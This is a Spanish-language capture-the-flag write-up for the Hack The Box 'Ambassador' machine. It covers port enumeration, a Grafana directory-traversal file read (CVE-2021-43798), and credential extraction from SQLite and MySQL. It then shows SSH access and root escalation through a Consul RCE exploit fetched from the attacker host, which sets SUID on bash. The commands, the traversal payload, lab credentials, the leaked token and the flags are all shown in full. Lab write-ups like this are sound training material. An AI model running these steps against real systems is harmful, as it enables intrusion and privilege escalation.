Ambassador

https://www.hackthebox.com/machines

OS	Difficult	Tags	RELEASED	Social Media
LINUX	MEDIUM	#LFI	09/09/2023	https://github.com/gorkaaaa

Skills:

- Web Enumeration
- Grafana v8.2.0 Exploitation [CVE-2021-43798] (Unauthorized Arbitrary File Read Vulnerability)
- Enumerating a sqlite3 file [Extracting mysql login credentials]
- System Github Project Enumeration
- Hashicorp Consul Exploitation (Command Execution via API) [Privilege Escalation]

Enumeración

Esta fase va a consistir en hacer una enumeración general sobre la máquina para poder valorar vectores de intrusión y valorar posibles ataques.

1. Comprobamos Conectividad.

```
❯ ping -c 1 10.10.11.183
PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=116 ms

--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.055/116.055/116.055/0.000 ms
```

2. Enumeración De Sistema Operativo con script.

```
❯ whichSystem.py 10.10.11.183

        10.10.11.183 (ttl -> 63): Linux
```

3. Enumeración de Puertos con nmap.

```
❯ sudo nmap -p- --min-rate 5000 -sS -T5 -Pn -n 10.10.11.183 -oG allPorts
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql
```

Podemos ver 4 puertos abiertos que analizaremos...

```
❯ extractPorts allPorts
──────┬──────────────────────────────────────────────
      │ File: extractPorts.tmp
──────┼──────────────────────────────────────────────
   1  │
   2  │ [*] Extracting information...
   3  │
   4  │     [*] IP Address: 10.10.11.183
   5  │     [*] Open ports: 22,80,3000,3306
   6  │
   7  │ [*] Ports copied to clipboard
   8  │
──────┴──────────────────────────────────────────────
```

Nos copiamos los puertos en la clipboard.

```
❯ nmap -p22,80,3000,3306 -sCV 10.10.11.183 -oG targeted
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
|   256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_  256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie:
redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/;
HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Mon, 07 Oct 2024 16:09:36 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq,
TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Mon, 07 Oct 2024 16:09:04 GMT
|     Content-Length: 29
```

```
|     href="/login">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Mon, 07 Oct 2024 16:09:09 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 17
```

Podemos ver información interesante sobre los puertos que hemos visto anteriormente.

4. Puerto 3000

```
❯ whatweb http://10.10.11.183:3000 -v
WhatWeb report for http://10.10.11.183:3000
Status    : 302 Found
Title     : <None>
IP        : 10.10.11.183
Country   : RESERVED, ZZ

Summary   : Cookies[redirect_to], HttpOnly[redirect_to],
RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-
Frame-Options[deny], X-XSS-Protection[1; mode=block]

Detected Plugins:
[ Cookies ]
        Display the names of cookies in the HTTP headers. The
        values are not returned to save on space.

        String       : redirect_to

[ HttpOnly ]
        If the HttpOnly flag is included in the HTTP set-cookie
        response header and the browser supports it then the cookie
        cannot be accessed through client side script - More Info:
        http://en.wikipedia.org/wiki/HTTP_cookie
```

```
        String       : redirect_to

[ RedirectLocation ]
        HTTP Server string location. used with http-status 301 and
        302

        String       : /login (from location)

[ UncommonHeaders ]
        Uncommon HTTP server headers. The blacklist includes all
        the standard headers and many non standard but common ones.
        Interesting but fairly common headers should have their own
        plugins, eg. x-powered-by, server and x-aspnet-version.
        Info about headers can be found at www.http-stats.com

        String       : x-content-type-options (from headers)

[ X-Frame-Options ]
        This plugin retrieves the X-Frame-Options value from the
        HTTP header. - More Info:
        http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
        aspx

        String       : deny

[ X-XSS-Protection ]
        This plugin retrieves the X-XSS-Protection value from the
        HTTP header. - More Info:
        http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
        aspx

        String       : 1; mode=block

HTTP Headers:
        HTTP/1.1 302 Found
        Cache-Control: no-cache
        Content-Type: text/html; charset=utf-8
        Expires: -1
        Location: /login
        Pragma: no-cache
        Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-Xss-Protection: 1; mode=block
        Date: Mon, 07 Oct 2024 16:17:34 GMT
        Content-Length: 29
        Connection: close

WhatWeb report for http://10.10.11.183:3000/login
Status    : 200 OK
```

```
Title     : Grafana
IP        : 10.10.11.183
Country   : RESERVED, ZZ

Summary   : Grafana[8.2.0], HTML5, Script, UncommonHeaders[x-content-
type-options], X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-
Protection[1; mode=block]

Detected Plugins:
[ Grafana ]
        Grafana is a multi-platform open source analytics and
        interactive visualization web application. It provides
        charts, graphs, and alerts for the web when connected to
        supported data sources. It is expandable through a plug-in
        system. End users can create complex monitoring dashboards
        using interactive query builders. It is written in Go.

        Version      : 8.2.0 (from window.grafanaBootData version)
        Google Dorks: (1)
        Website     : https://github.com/grafana/grafana

[ HTML5 ]
        HTML version 5, detected by the doctype declaration


[ Script ]
        This plugin detects instances of script HTML elements and
        returns the script language/type.


[ UncommonHeaders ]
        Uncommon HTTP server headers. The blacklist includes all
        the standard headers and many non standard but common ones.
        Interesting but fairly common headers should have their own
        plugins, eg. x-powered-by, server and x-aspnet-version.
        Info about headers can be found at www.http-stats.com

        String       : x-content-type-options (from headers)

[ X-Frame-Options ]
        This plugin retrieves the X-Frame-Options value from the
        HTTP header. - More Info:
        http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
        aspx

        String       : deny

[ X-UA-Compatible ]
        This plugin retrieves the X-UA-Compatible value from the
        HTTP header and meta http-equiv tag. - More Info:
```

```
        http://msdn.microsoft.com/en-us/library/cc817574.aspx

        String       : IE=edge

[ X-XSS-Protection ]
        This plugin retrieves the X-XSS-Protection value from the
        HTTP header. - More Info:
        http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
        aspx

        String       : 1; mode=block

HTTP Headers:
        HTTP/1.1 200 OK
        Cache-Control: no-cache
        Content-Type: text/html; charset=UTF-8
        Expires: -1
        Pragma: no-cache
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-Xss-Protection: 1; mode=block
        Date: Mon, 07 Oct 2024 16:17:36 GMT
        Connection: close
        Transfer-Encoding: chunked
```

Podemos ver mucha información sobre las tecnologias... En especial nos llama la atención la de grafana.

```
❯ searchsploit grafana
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
|multiple/webapps/50581.py

❯ searchsploit -m multiple/webapps/50581.py
  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/user/HTB/Ambassador/exploits/50581.py
```

Nos copiamos el recurso con la vulnerabilidad...

```
❯ python3 50581.py -H http://10.10.11.183:3000
Read file > /etc/hosts
```

```
127.0.0.1 localhost
127.0.1.1 ambassador

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Read file > /etc/passwd
developer:x:1000:1000:developer:/home/developer:/bin/bash
```

Vemos que nos devuelve el archivos que buscamos...

```
❯ git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-
43798.git
❯ nvim targets.txt
❯ cat targets.txt
1 ~ | http://10.10.11.183:3000
```

Nos copiamos el repositorio y ponemos donde queremos atacar...

Explotación

En esta fase vamos a ya tener un vector de ataque previamente enumerado y vamos a explotarlo.

1. Exploit.

```
❯ python3 exploit.py
  _____   _____    ___ __ ___ _      _ _ ________ ___ ___
 / __\ \ / / __|_|_  )  \_  ) |___| | |__ /__   / _ ( _ )
| (__ \ V /| _|___/ / () / /| |___|_  _|_ \ / /\_, / _ \
 \___| \_/ |___| /___\__/___|_|     |_|___//_/  /_/\___/
                @pedrohavay / @acassio22

? Enter the target list:  targets.txt

═══════════════════════════════════════

[i] Target: http://10.10.11.183:3000

[!] Payload
```

```
"http://10.10.11.183:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f.
.%2f..%2f..%2f..%2fetc/passwd" works.

[i] Analysing files...

[i] File "/conf/defaults.ini" found in server.
[*] File saved in "./http_10_10_11_183_3000/defaults.ini".

[i] File "/etc/grafana/grafana.ini" found in server.
[*] File saved in "./http_10_10_11_183_3000/grafana.ini".

[i] File "/etc/passwd" found in server.
[*] File saved in "./http_10_10_11_183_3000/passwd".

[i] File "/var/lib/grafana/grafana.db" found in server.
[*] File saved in "./http_10_10_11_183_3000/grafana.db".

[i] File "/proc/self/cmdline" found in server.
[*] File saved in "./http_10_10_11_183_3000/cmdline".

? Do you want to try to extract the passwords from the data source?  Yes

[i] Secret Key: SW2YcwTIb9zpOOhoPsMm
```

Vemos que nos ha realizado el ataque y nos ha devuelto muchas cosas...

2. SQLITE3

```
❯ sqlite3 grafana.db
sqlite> .table
data_source

sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana
|0|||0|{}|2022-09-01 22:43:03|2024-10-07 11:49:31|0|{}|1|uKewFgM4z
```

Podemos ver que nos da una crededncial y un usuario.

```
grafana:dontStandSoCloseToMe63221!
```

Nos guardamos estas credenciales...

3. Mysql

```
❯ mysql -u grafana -p -h ambassador.htb
```

Nos conectamos...

```
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
```

Listamos bases de datos...

```
MySQL [(none)]> use whackywidget;
MySQL [whackywidget]> show tables;
+--------------------------+
| Tables_in_whackywidget |
+--------------------------+
| users                    |
+--------------------------+
```

Vemos que tenemos una tabla llamada users...

```
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------------+
| user      | pass                                           |
+-----------+------------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------------+
```

Podemos ver unas credenciales del usuario developer...

4. Credenciales obtenidas...

```
❯ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
```

```
anEnglishManInNewYork027468
```

5. SSH

```
❯ ssh developer@10.10.11.183
developer@ambassador:~$
```

Vemos que podemos iniciar sesion como developer...

```
developer@ambassador:~$ cat user.txt
0f656aeb9215381261d91d526b06cb78
```

Obtenemos la user flag!

Escalada de privilegios

Esta fase va a consistir en pasar de ser un usuario no privilegiado a ser el administrador del sistema aprovechandonos de fallos en la seguridad internos del servidor.

1. Directorio actual.

```
developer@ambassador:~$ ls -al
total 48
-rw-rw-r-- 1 developer developer   93 Sep  2  2022 .gitconfig
```

Podemos ver un archivo que nos llama la atención...

```
developer@ambassador:~$ cat .gitconfig
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app
```

Vemos que nos habla de un directorio...

2. Directorio enumerado....

```
developer@ambassador:/opt/my-app$ ls -al
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1  2022 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget
```

Nos da a entender que esto es un directorio de github...

3. Git

```
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000
```

Podemos ver que es un proyecto de git y podemos ver los cambios que se han hecho...

```
developer@ambassador:/opt/my-app$ git show
33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000
```

```
    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-
config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will
help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5
whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
```

Podemos ver alguna cosa... Vemos que dice algo de consul...

```
developer@ambassador:/opt/my-app$ which consul
/usr/bin/consul
```

Podemos ver que existe...

```
developer@ambassador:/opt/my-app$ ps -aux | grep "consul"
root   1094  0.3  3.8 794548 76324 ? Ssl  11:49   1:06 /usr/bin/consul
agent
```

Podemos ver que lo esta iniciando el usuario root...

4. Buscamos en searchsploit

```
❯ searchsploit consul
Hashicorp Consul - Remote Command Execution via Services API
```

Podemos ver que tenemos una ejecución remota de comandos con el consul...

```
https://github.com/owalid/consul-rce
```

Podemos encontrar este recurso...

```
❯ sudo wget https://raw.githubusercontent.com/owalid/consul-
rce/refs/heads/main/consul_rce.py
consul_rce.py 100%[===================================>]   2.13K  --.-KB/s
in 0s
```

Nos traemos a nuestro equipo local el exploit...

```
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Abrimos un servidor en python para poder hacer la transferencia...

```
developer@ambassador:/tmp$ wget http://10.10.14.12/consul_rce.py
```

Nos traemos el exploit...

```
bb03b43b-1d81-d62b-24b5-39540ee469b5
```

Nos acordamos del token que hemos visto antes con el git show...

```
developer@ambassador:/tmp$ python3 consul_rce.py -th 127.0.0.1 -tp 8500
-ct bb03b43b-1d81-d62b-24b5-39540ee469b5 -c "chmod u+s /bin/bash"
[+] Check nrcltqkjfpchpmn created successfully
[+] Check nrcltqkjfpchpmn deregistered successfully
```

Ejecutamos el exploit dandole permiso suid a la /bin/bash

```
developer@ambassador:/tmp$ bash -p
bash-5.0# whoami
root
```

Ahora tenemos una bash como root

```
bash-5.0# cat /root/root.txt
d1e2361dc3d912ff262df1341a53bde7
```

Ahora solo toca obtener la root flag!